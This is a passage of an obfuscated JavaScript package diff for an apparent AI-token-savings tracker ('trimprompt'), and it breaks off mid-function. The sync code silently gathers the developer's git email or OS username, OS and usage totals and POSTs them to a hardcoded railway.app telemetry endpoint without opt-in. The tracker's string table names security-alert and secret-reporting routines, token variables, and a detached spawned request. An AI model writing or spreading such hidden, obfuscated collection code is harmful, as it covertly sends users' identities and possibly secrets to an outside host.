_0x547907=_0x5a74e0(_0x4f0cb7),_0x217144=0x0;_0x217144<_0x547907[_0x7798e0(0xc3)];_0x217144++)if(_0x547907[_0x217144]!==_0x7798e0(0xd6))__createBinding(_0x21e803,_0x4f0cb7,_0x547907[_0x217144]);}return __setModuleDefault(_0x21e803,_0x4f0cb7),_0x21e803;};}());Object[a0_0x5df22c(0xc4)](exports,a0_0x5df22c(0xf3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5df22c(0xc0))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x5df22c(0xea))),url_1=require(a0_0x5df22c(0xf9)),_cfg=[a0_0x5df22c(0xf1),a0_0x5df22c(0xfc),'.up.railway.app',a0_0x5df22c(0xe3)]['join'](''),_ep=process[a0_0x5df22c(0xf6)][a0_0x5df22c(0xd4)]||_cfg;function hasSyncedRecently(){const _0x331249=a0_0x5df22c;try{if(!fs[_0x331249(0xdc)](dailySyncPath))return![];const _0x30aa68=JSON[_0x331249(0x107)](fs['readFileSync'](dailySyncPath,_0x331249(0xb2)));if(!_0x30aa68[_0x331249(0xd2)])return![];return Date[_0x331249(0x10e)]()-_0x30aa68[_0x331249(0xd2)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x15772d=a0_0x5df22c;try{const _0x318554={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x15772d(0x10e)]()};fs['writeFileSync'](dailySyncPath,JSON['stringify'](_0x318554,null,0x2),_0x15772d(0xb2));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':a0_0x5df22c(0xd5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5df22c(0xe4),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5df22c(0xeb),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5df22c(0x103),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5df22c(0x110),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5df22c(0x112),'input_price_1m':0.075}},baseDir=path[a0_0x5df22c(0xfd)](os['homedir'](),a0_0x5df22c(0x100)),configPath=path['join'](baseDir,a0_0x5df22c(0xcd)),statsPath=path[a0_0x5df22c(0xfd)](baseDir,a0_0x5df22c(0x105)),dailySyncPath=path['join'](baseDir,a0_0x5df22c(0xf7));function getTodayDate(){const _0x8a3798=a0_0x5df22c;return new Date()[_0x8a3798(0x109)]()[_0x8a3798(0xb4)]('T')[0x0];}function getDeveloperIdentity(){const _0x4a82d7=a0_0x5df22c;if(process['env'][_0x4a82d7(0x104)])return process[_0x4a82d7(0xf6)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x2773d2}=require(_0x4a82d7(0xc9)),_0xc140a8=_0x2773d2('git\x20config\x20user.email',{'stdio':[_0x4a82d7(0xe8),'pipe',_0x4a82d7(0xe8)]})['toString']()[_0x4a82d7(0xe0)]();if(_0xc140a8&&_0xc140a8[_0x4a82d7(0xdf)]('@'))return _0xc140a8;}catch{}try{const _0x308e9b=os['userInfo']()[_0x4a82d7(0x113)];if(_0x308e9b)return _0x308e9b;}catch{}return _0x4a82d7(0xf2);}function a0_0x3031(){const _0x1c1551=['toISOString','conv:','end','4cpVCLt','168jGOhxF','now','protocol','Gemini\x201.5\x20Pro','byteLength','Gemini\x201.5\x20Flash','username','estimated_raw_tokens','292062GRYyhh','claude-3-5-sonnet','port','replace','utf8','stringify','split','model_used','platform','.raw.txt','features','1315995ysubyO','add','estimated_compressed_tokens','4689817SXZHJK','find','create','writable','path','126NpmLBQ','9181735drGWWY','length','defineProperty','conv_','writeFileSync','855166wkBaqN','last_sync_date','child_process','7799864HmCzfO','error','9USsIMK','config.json','timestamp','filter','command','search','last_sync_time','live-conv','_PS_EP','Claude\x203.5\x20Sonnet','default','from','values','write','getOwnPropertyNames','telemetry_url','existsSync','startsWith','destroy','includes','trim','input_price_1m','__importStar','/api/telemetry','Claude\x203\x20Opus','push','hasOwnProperty','application/json','ignore','timeout','https','GPT-4o','statusCode','catch','prototype','some','call','https://','anonymous','__esModule','readFileSync','https:','env','daily_sync.json','configurable','url','4SMlHlR','getOwnPropertyDescriptor','trimp-production','join','synced','unlinkSync','.trimprompt','.comp.txt','tokens_saved','GPT-4o\x20Mini','TRIMPROMPT_USER_EMAIL','stats.json','13634250WZSVeE','parse','__setModuleDefault'];a0_0x3031=function(){return _0x1c1551;};return a0_0x3031();}function hasAlreadySyncedToday(){const _0x37c13d=a0_0x5df22c;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x89697f=JSON[_0x37c13d(0x107)](fs[_0x37c13d(0xf4)](dailySyncPath,_0x37c13d(0xb2)));return _0x89697f[_0x37c13d(0xc8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x197922=a0_0x5df22c;try{const _0x567382={'last_sync_date':getTodayDate()};fs[_0x197922(0xc6)](dailySyncPath,JSON[_0x197922(0xb3)](_0x567382,null,0x2),'utf8');}catch{}}function postTelemetry(_0x23821f,_0x5a3b6a){return new Promise(_0x655896=>{const _0x377ab6=a0_0x57e8;try{const _0x23ffa2=new url_1['URL'](_0x23821f),_0x57da0d=JSON['stringify'](_0x5a3b6a),_0x2a6fae={'hostname':_0x23ffa2['hostname'],'port':_0x23ffa2[_0x377ab6(0x117)]||(_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?0x1bb:0x50),'path':_0x23ffa2['pathname']+_0x23ffa2[_0x377ab6(0xd1)],'method':'POST','headers':{'Content-Type':_0x377ab6(0xe7),'Content-Length':Buffer[_0x377ab6(0x111)](_0x57da0d)},'timeout':0x1f40},_0x39099a=_0x23ffa2[_0x377ab6(0x10f)]===_0x377ab6(0xf5)?https:http,_0x3393f6=_0x39099a['request'](_0x2a6fae,_0xa29c66=>{const _0x465adb=_0x377ab6;_0x655896(!!(_0xa29c66[_0x465adb(0xec)]&&_0xa29c66['statusCode']>=0xc8&&_0xa29c66[_0x465adb(0xec)]<0x12c));});_0x3393f6['on'](_0x377ab6(0xcb),()=>_0x655896(![])),_0x3393f6['on'](_0x377ab6(0xe9),()=>{const _0x2f1dc0=_0x377ab6;_0x3393f6[_0x2f1dc0(0xde)](),_0x655896(![]);}),_0x3393f6[_0x377ab6(0xd9)](_0x57da0d),_0x3393f6[_0x377ab6(0x10b)]();}catch{_0x655896(![]);}});}function buildDailyPayload(_0x5794d2){const _0x42fa5=a0_0x5df22c,_0x5d741=getTodayDate(),_0x5dbf53=_0x5794d2[_0x42fa5(0xcf)](_0x574859=>_0x574859[_0x42fa5(0xce)][_0x42fa5(0xdd)](_0x5d741)),_0x446989=_0x5dbf53[_0x42fa5(0xc3)]>0x0?_0x5dbf53:_0x5794d2;let _0x3d9cbe=0x0,_0x3cbf63=0x0,_0xb5eb5c=0x0,_0x2f7465=0x0;const _0x1d2743=new Set(),_0x70d450={},_0x25bc6e=[];for(const _0x3fbd6e of _0x446989){const _0x1953ee=_0x3fbd6e[_0x42fa5(0xd0)]||'',_0x192e1e=_0x3fbd6e[_0x42fa5(0xb8)]||[],_0x3c6d9b=_0x1953ee[_0x42fa5(0xdd)](_0x42fa5(0x10a))||_0x192e1e['includes'](_0x42fa5(0xd3))||_0x192e1e[_0x42fa5(0xef)](_0x22adb9=>typeof _0x22adb9==='string'&&_0x22adb9[_0x42fa5(0xdd)](_0x42fa5(0xc5)));if(_0x3c6d9b){const _0x1ac3e7=_0x1953ee[_0x42fa5(0x118)]('conv:','')||_0x192e1e[_0x42fa5(0xbd)](_0x19d893=>typeof _0x19d893==='string'&&_0x19d893[_0x42fa5(0xdd)](_0x42fa5(0xc5)))?.[_0x42fa5(0x118)](_0x42fa5(0xc5),'')||'agent';_0x70d450[_0x1ac3e7]=_0x3fbd6e;}else _0x25bc6e[_0x42fa5(0xe5)](_0x3fbd6e);}for(const _0x316c87 of Object[_0x42fa5(0xd8)](_0x70d450)){_0x3d9cbe+=_0x316c87[_0x42fa5(0x114)],_0x3cbf63+=_0x316c87[_0x42fa5(0xbb)],_0xb5eb5c+=_0x316c87[_0x42fa5(0x102)],_0x1d2743[_0x42fa5(0xba)](_0x316c87[_0x42fa5(0xb5)]||'claude-3-5-sonnet');const _0x4f9067=PRICING[_0x316c87['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x316c87[_0x42fa5(0x102)]*_0x4f9067[_0x42fa5(0xe1)]/0xf4240;}for(const _0x12db81 of _0x25bc6e){_0x3d9cbe+=_0x12db81['estimated_raw_tokens'],_0x3cbf63+=_0x12db81['estimated_compressed_tokens'],_0xb5eb5c+=_0x12db81[_0x42fa5(0x102)],_0x1d2743['add'](_0x12db81[_0x42fa5(0xb5)]||_0x42fa5(0x116));const _0x66e61f=PRICING[_0x12db81['model_used']]||PRICING[_0x42fa5(0x116)];_0x2f7465+=_0x12db81['tokens_saved']*_0x66e61f[_0x42fa5(0xe1)]/0xf4240;}const _0x5a4350=_0x446989[_0x446989['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x42fa5(0xb6)](),'date':_0x5d741,'executions_count':_0x446989['length'],'total_raw_tokens':_0x3d9cbe,'total_compressed_tokens':_0x3cbf63,'total_tokens_saved':_0xb5eb5c,'total_money_saved_usd':parseFloat(_0x2f7465['toFixed'](0x6)),'models_used':Array[_0x42fa5(0xd7)](_0x1d2743),'hotspots':[],'last_seen':_0x5a4350?_0x5a4350[_0x42fa5(0xce)]:new Date()['toISOString']()};}async function runSync(){const _0x38e067=a0_0x5df22c;if(!fs['existsSync'](statsPath))return;let _0x152680;try{_0x152680=JSON[_0x38e067(0x107)](fs[_0x38e067(0xf4)](statsPath,_0x38e067(0xb2)));}catch{return;}const _0xe2ccb=_0x152680[_0x38e067(0xcf)](_0x5f36da=>!_0x5f36da['synced']);if(_0xe2ccb[_0x38e067(0xc3)]===0x0&&hasSyncedRecently())return;const _0x245648=buildDailyPayload(_0x152680);await postTelemetry(_ep,_0x245648);let _0x4c3a16=process[_0x38e067(0xf6)]['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x4c3a16&&fs[_0x38e067(0xdc)](configPath))try{const _0x1ddde3=JSON[_0x38e067(0x107)](fs['readFileSync'](configPath,_0x38e067(0xb2)));_0x4c3a16=_0x1ddde3[_0x38e067(0xdb)]||'';}catch{}_0x4c3a16['trim']()[_0x38e067(0xc3)]>0x0&&await postTelemetry(_0x4c3a16,_0x245648);for(const _0xeeac6c of _0x152680){if(!_0xeeac6c[_0x38e067(0xfe)])_0xeeac6c[_0x38e067(0xfe)]=!![];}try{fs[_0x38e067(0xc6)](statsPath,JSON[_0x38e067(0xb3)](_0x152680,null,0x2),_0x38e067(0xb2));}catch{}markSyncedNow();}function pruneOldLogs(_0x196cce){const _0x3fc373=a0_0x5df22c;try{const _0x179643=new Date(),_0x39279a=new Date(_0x179643['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x45c783=[],_0x35b894=[];for(const _0x34ebef of _0x196cce){const _0x4c4b88=new Date(_0x34ebef['timestamp']);_0x4c4b88>=_0x39279a?_0x45c783[_0x3fc373(0xe5)](_0x34ebef):_0x35b894[_0x3fc373(0xe5)](_0x34ebef);}if(_0x35b894[_0x3fc373(0xc3)]>0x0){const _0xeb5aca=path['join'](baseDir,'logs');for(const _0x170b82 of _0x35b894){const _0x38fa1d=path['join'](_0xeb5aca,_0x170b82['id']+_0x3fc373(0xb7)),_0x523558=path[_0x3fc373(0xfd)](_0xeb5aca,_0x170b82['id']+_0x3fc373(0x101));try{if(fs[_0x3fc373(0xdc)](_0x38fa1d))fs[_0x3fc373(0xff)](_0x38fa1d);if(fs[_0x3fc373(0xdc)](_0x523558))fs[_0x3fc373(0xff)](_0x523558);}catch{}}fs[_0x3fc373(0xc6)](statsPath,JSON[_0x3fc373(0xb3)](_0x45c783,null,0x2),'utf8');}}catch{}}runSync()[a0_0x5df22c(0xed)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x250746=a0_0x1b49;(function(_0x531b24,_0x48c298){const _0x1196bb=a0_0x1b49,_0x3b2f07=_0x531b24();while(!![]){try{const _0x2e9ed3=parseInt(_0x1196bb(0x1c8))/0x1+-parseInt(_0x1196bb(0x199))/0x2*(-parseInt(_0x1196bb(0x19c))/0x3)+-parseInt(_0x1196bb(0x1a3))/0x4*(parseInt(_0x1196bb(0x217))/0x5)+-parseInt(_0x1196bb(0x20a))/0x6+parseInt(_0x1196bb(0x1db))/0x7*(parseInt(_0x1196bb(0x1b7))/0x8)+parseInt(_0x1196bb(0x209))/0x9+parseInt(_0x1196bb(0x1f2))/0xa;if(_0x2e9ed3===_0x48c298)break;else _0x3b2f07['push'](_0x3b2f07['shift']());}catch(_0x906306){_0x3b2f07['push'](_0x3b2f07['shift']());}}}(a0_0x5aa1,0x2d1dd));var __createBinding=this&&this[a0_0x250746(0x1c7)]||(Object[a0_0x250746(0x214)]?function(_0x2c963c,_0x110600,_0x5d24f5,_0x1fc70b){const _0xcadf24=a0_0x250746;if(_0x1fc70b===undefined)_0x1fc70b=_0x5d24f5;var _0x3d8390=Object[_0xcadf24(0x1f0)](_0x110600,_0x5d24f5);(!_0x3d8390||(_0xcadf24(0x1d4)in _0x3d8390?!_0x110600[_0xcadf24(0x1b9)]:_0x3d8390['writable']||_0x3d8390[_0xcadf24(0x202)]))&&(_0x3d8390={'enumerable':!![],'get':function(){return _0x110600[_0x5d24f5];}}),Object[_0xcadf24(0x1cc)](_0x2c963c,_0x1fc70b,_0x3d8390);}:function(_0x25c7cb,_0x40f55f,_0x133d18,_0x198304){if(_0x198304===undefined)_0x198304=_0x133d18;_0x25c7cb[_0x198304]=_0x40f55f[_0x133d18];}),__setModuleDefault=this&&this[a0_0x250746(0x1b3)]||(Object[a0_0x250746(0x214)]?function(_0x1b539c,_0x202e59){const _0x47bd37=a0_0x250746;Object[_0x47bd37(0x1cc)](_0x1b539c,_0x47bd37(0x1d6),{'enumerable':!![],'value':_0x202e59});}:function(_0x1bc39c,_0xd5f52f){_0x1bc39c['default']=_0xd5f52f;}),__importStar=this&&this[a0_0x250746(0x1b0)]||(function(){var _0x5c1851=function(_0x37c2a8){const _0x3e52d9=a0_0x1b49;return _0x5c1851=Object[_0x3e52d9(0x18a)]||function(_0x590a26){const _0x3a2137=_0x3e52d9;var _0x57e540=[];for(var _0x3b16de in _0x590a26)if(Object['prototype'][_0x3a2137(0x1c6)]['call'](_0x590a26,_0x3b16de))_0x57e540[_0x57e540[_0x3a2137(0x1f5)]]=_0x3b16de;return _0x57e540;},_0x5c1851(_0x37c2a8);};return function(_0x48f2c9){const _0xad9b5f=a0_0x1b49;if(_0x48f2c9&&_0x48f2c9['__esModule'])return _0x48f2c9;var _0x51894a={};if(_0x48f2c9!=null){for(var _0x20aa21=_0x5c1851(_0x48f2c9),_0x147430=0x0;_0x147430<_0x20aa21['length'];_0x147430++)if(_0x20aa21[_0x147430]!==_0xad9b5f(0x1d6))__createBinding(_0x51894a,_0x48f2c9,_0x20aa21[_0x147430]);}return __setModuleDefault(_0x51894a,_0x48f2c9),_0x51894a;};}());function a0_0x5aa1(){const _0x354ace=['404146xaXJSw','aider','utf8','3dWMtOD','saveConfig','OpenAI\x20o1','writeFileSync','sync.js','OpenAI\x20o1-mini','TRIMPROMPT_MODEL','44QHXABD','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','redact','VSCODE_PID','isArray','/api/security/alert','GPT-4o','tokens_saved','username','Claude\x20Sonnet\x204.5','CURSOR_AGENT','GPT-4.1\x20Mini','__importStar','flash','CONTINUE_GLOBAL_DIR','__setModuleDefault','stringify','getLogs','Claude\x20Haiku\x204.5','48GgsWwe','claude-sonnet-4-6','__esModule','toLowerCase',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','Claude\x20Opus\x204.1\x20(deprecated)','default_model','config','mkdirSync','gemini','parse','statsPath','./redactor','existsSync','hasOwnProperty','__createBinding','297489QQKzRA','Claude\x20Haiku\x203.5','getStatsSummary','codex','defineProperty','gemini-3-1-pro','Claude\x20Mythos\x205','secretTypes','model_used','.comp.txt','Tracker','logs','get','execPath','default','antigravity','ceil','GPT-5.5','platform','27447vGBxZQ','claude-sonnet-4-5','AI_AGENT','estimated_raw_tokens','config.json','GPT-4o\x20Mini','REPL_ID','auto','triggerBackgroundSync','trim','AIDER_MODEL','configPath','join','cursor','git\x20config\x20user.email','replit','toString','opus','getConfig','PRICING','claude_code','getOwnPropertyDescriptor','Claude\x20Opus\x204.8','784520RbgZXd','Gemini\x203.1\x20Pro','init','length','claude-opus-4-8','COPILOT_GITHUB_TOKEN','continue','windsurf','sendSecurityAlert','sonnet','o3-mini','GPT-4.1\x20Nano','ignore','logExecution','logsDir','baseDir','configurable','random','o3mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','GEMINI_CLI','CLAUDECODE','secretsFound','2550492EHsBFw','2104494rAQkEA','spawn','unknown','Claude\x20Fable\x205','tool','Claude\x20Opus\x204.5','split','.tmp','estimated_compressed_tokens','Gemini\x203.5\x20Live\x20Translate','create','devin','COPILOT_MODEL','158810bYEOUR','unref','ANTIGRAVITY_AGENT','homedir','claude-3-5-sonnet','readFileSync','telemetry_url','timestamp','pop','GPT-5.4\x20Mini','getOwnPropertyNames','claude-code','github-copilot','modelShort','saveLogs','input_price_1m','child_process','Cursor\x20Small','high','includes','PATH','copilot','claude','model','max'];a0_0x5aa1=function(){return _0x354ace;};return a0_0x5aa1();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x250746(0x1d2)]=exports[a0_0x250746(0x1ee)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x250746(0x190));exports[a0_0x250746(0x1ee)]={'claude-fable-5':{'name':a0_0x250746(0x20d),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x250746(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x250746(0x1f1),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x250746(0x20f),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x250746(0x1bd),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x250746(0x1a4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x250746(0x1ad),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x250746(0x1b6),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x250746(0x1c9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x250746(0x1d9),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x250746(0x1aa),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x250746(0x189),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x250746(0x1af),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x250746(0x1fd),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x250746(0x1e0),'input_price_1m':0.15},'o1':{'name':a0_0x250746(0x19e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x250746(0x1a1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x250746(0x1bc),'input_price_1m':1.1},'cursor-small':{'name':a0_0x250746(0x191),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x250746(0x1f3),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x250746(0x213),'input_price_1m':3.5}};function detectSessionTool(){const _0x5418e9=a0_0x250746,_0x539719=process.env,_0x2c9aef={'tool':'','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1a2)]&&exports['PRICING'][_0x539719['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x539719[_0x5418e9(0x1a2)],'modelShort':''};const _0xec002c=(_0x539719[_0x5418e9(0x1dd)]||'')[_0x5418e9(0x1ba)]();if(_0xec002c){if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x18b))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1ef))){const _0x5128cd=_0x539719[_0x5418e9(0x1a5)]==='high'?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x3e053f=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x3e053f,'modelShort':_0x5128cd};}if(_0xec002c['includes'](_0x5418e9(0x1e8)))return{'tool':'cursor','model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0xec002c['includes'](_0x5418e9(0x18c))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x195))){const _0x230d44=_0x539719[_0x5418e9(0x216)]||'';if(_0x230d44&&exports[_0x5418e9(0x1ee)][_0x230d44])return{'tool':_0x5418e9(0x195),'model':_0x230d44,'modelShort':_0x230d44[_0x5418e9(0x210)]('-')['pop']()||''};return{'tool':_0x5418e9(0x195),'model':'claude-sonnet-4-5','modelShort':_0x5418e9(0x1fb)};}if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1c1)))return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':'flash'};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1cb)))return{'tool':_0x5418e9(0x1cb),'model':_0x5418e9(0x1fc),'modelShort':_0x5418e9(0x204)};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x215)))return{'tool':_0x5418e9(0x215),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1d7)))return{'tool':_0x5418e9(0x1d7),'model':'gemini-3-1-pro','modelShort':_0x5418e9(0x1c1)};if(_0xec002c['includes'](_0x5418e9(0x1ea))||_0x539719[_0x5418e9(0x1e1)])return{'tool':_0x5418e9(0x1ea),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0xec002c['split']('_')[0x0][_0x5418e9(0x210)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x539719[_0x5418e9(0x207)]==='1'||_0x539719['CLAUDE_CODE']==='1'){const _0x3be584=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x158dce=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x158dce,'modelShort':_0x3be584};}if(_0x539719[_0x5418e9(0x1ae)]==='1')return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0x539719[_0x5418e9(0x206)]==='1')return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':_0x5418e9(0x1b1)};if(_0x539719[_0x5418e9(0x216)]||_0x539719[_0x5418e9(0x1f7)]){const _0x922077=_0x539719[_0x5418e9(0x216)]||'';if(_0x922077&&exports[_0x5418e9(0x1ee)][_0x922077])return{'tool':_0x5418e9(0x195),'model':_0x922077,'modelShort':_0x922077[_0x5418e9(0x210)]('-')[_0x5418e9(0x188)]()||''};return{'tool':_0x5418e9(0x195),'model':_0x5418e9(0x1dc),'modelShort':_0x5418e9(0x1fb)};}if(_0x539719[_0x5418e9(0x1e1)]||_0x539719['REPLIT_ENVIRONMENT'])return{'tool':_0x5418e9(0x1ea),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1b2)])return{'tool':_0x5418e9(0x1f8),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x219)]==='1')return{'tool':_0x5418e9(0x1d7),'model':_0x5418e9(0x1cd),'modelShort':'gemini'};if(_0x539719[_0x5418e9(0x1a5)]){const _0x211f47=_0x539719['CLAUDE_EFFORT']===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x222307=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':'','model':_0x222307,'modelShort':''};}if(_0x539719[_0x5418e9(0x1e5)]&&exports[_0x5418e9(0x1ee)][_0x539719[_0x5418e9(0x1e5)]])return{'tool':_0x5418e9(0x19a),'model':_0x539719['AIDER_MODEL'],'modelShort':''};if(_0x539719[_0x5418e9(0x1a7)]){const _0x400be0=(_0x539719[_0x5418e9(0x194)]||'')[_0x5418e9(0x1ba)]();if(_0x400be0[_0x5418e9(0x193)](_0x5418e9(0x1e8)))return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':'sonnet'};if(_0x400be0[_0x5418e9(0x193)]('windsurf'))return{'tool':_0x5418e9(0x1f9),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};}const _0x3c06bb=process.env.TRIMPROMPT_MODEL||'';if(_0x3c06bb&&exports[_0x5418e9(0x1ee)][_0x3c06bb])return{'tool':'','model':_0x3c06bb,'modelShort':''};return _0x2c9aef;}let globalLogsMemoryCache=[];class Tracker{[a0_0x250746(0x201)];[a0_0x250746(0x1e6)];['statsPath'];[a0_0x250746(0x200)];['config'];constructor(){const _0x2657a6=a0_0x250746;this['baseDir']=path[_0x2657a6(0x1e7)](os[_0x2657a6(0x21a)](),'.trimprompt'),this[_0x2657a6(0x1e6)]=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],_0x2657a6(0x1df)),this['statsPath']=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],'stats.json'),this[_0x2657a6(0x200)]=path['join'](this[_0x2657a6(0x201)],_0x2657a6(0x1d3)),this[_0x2657a6(0x1f4)]();}[a0_0x250746(0x1f4)](){const _0x1f609e=a0_0x250746;!fs[_0x1f609e(0x1c5)](this['baseDir'])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x201)],{'recursive':!![]});!fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x200)])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x200)],{'recursive':!![]});const _0x4830dd={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x1f609e(0x1f6)};if(fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x1e6)]))try{const _0x1ef984=fs['readFileSync'](this[_0x1f609e(0x1e6)],_0x1f609e(0x19b));this[_0x1f609e(0x1bf)]={..._0x4830dd,...JSON[_0x1f609e(0x1c2)](_0x1ef984)};}catch(_0x16c788){this[_0x1f609e(0x1bf)]=_0x4830dd;}else this[_0x1f609e(0x1bf)]=_0x4830dd,this[_0x1f609e(0x19d)]();!fs[_0x1f609e(0x1c5)](this['statsPath'])&&fs[_0x1f609e(0x19f)](this[_0x1f609e(0x1c3)],JSON[_0x1f609e(0x1b4)]([]),_0x1f609e(0x19b));}[a0_0x250746(0x1ed)](){const _0x32bd9e=a0_0x250746;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x32bd9e(0x1bf)][_0x32bd9e(0x186)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x32bd9e(0x1bf)];}['setConfig'](_0x3bdb60,_0x1d67b5){const _0x1051e2=a0_0x250746;this[_0x1051e2(0x1bf)][_0x3bdb60]=_0x1d67b5,this[_0x1051e2(0x19d)]();}[a0_0x250746(0x19d)](){const _0x20ad3a=a0_0x250746;fs[_0x20ad3a(0x19f)](this['configPath'],JSON[_0x20ad3a(0x1b4)](this[_0x20ad3a(0x1bf)],null,0x2),'utf8');}[a0_0x250746(0x1b5)](){const _0x239553=a0_0x250746;try{if(!fs['existsSync'](this[_0x239553(0x1c3)]))return globalLogsMemoryCache;const _0x3cfc05=fs[_0x239553(0x21c)](this['statsPath'],_0x239553(0x19b)),_0x29a561=JSON[_0x239553(0x1c2)](_0x3cfc05);if(Array[_0x239553(0x1a8)](_0x29a561)&&_0x29a561[_0x239553(0x1f5)]>=globalLogsMemoryCache[_0x239553(0x1f5)])return globalLogsMemoryCache=_0x29a561,_0x29a561;}catch{}return globalLogsMemoryCache;}[a0_0x250746(0x18e)](_0x15dc9f){const _0x45c05d=a0_0x250746;globalLogsMemoryCache=_0x15dc9f;const _0x321cd9=this[_0x45c05d(0x1c3)]+_0x45c05d(0x211);try{fs[_0x45c05d(0x19f)](_0x321cd9,JSON['stringify'](_0x15dc9f,null,0x2),'utf8'),fs['renameSync'](_0x321cd9,this[_0x45c05d(0x1c3)]);}catch{try{fs[_0x45c05d(0x19f)](this[_0x45c05d(0x1c3)],JSON['stringify'](_0x15dc9f,null,0x2),_0x45c05d(0x19b));}catch{}}}[a0_0x250746(0x1ff)](_0x4cf2e5,_0x147b68,_0x314d91,_0x1c18b8,_0x5a6806,_0x42a77d){const 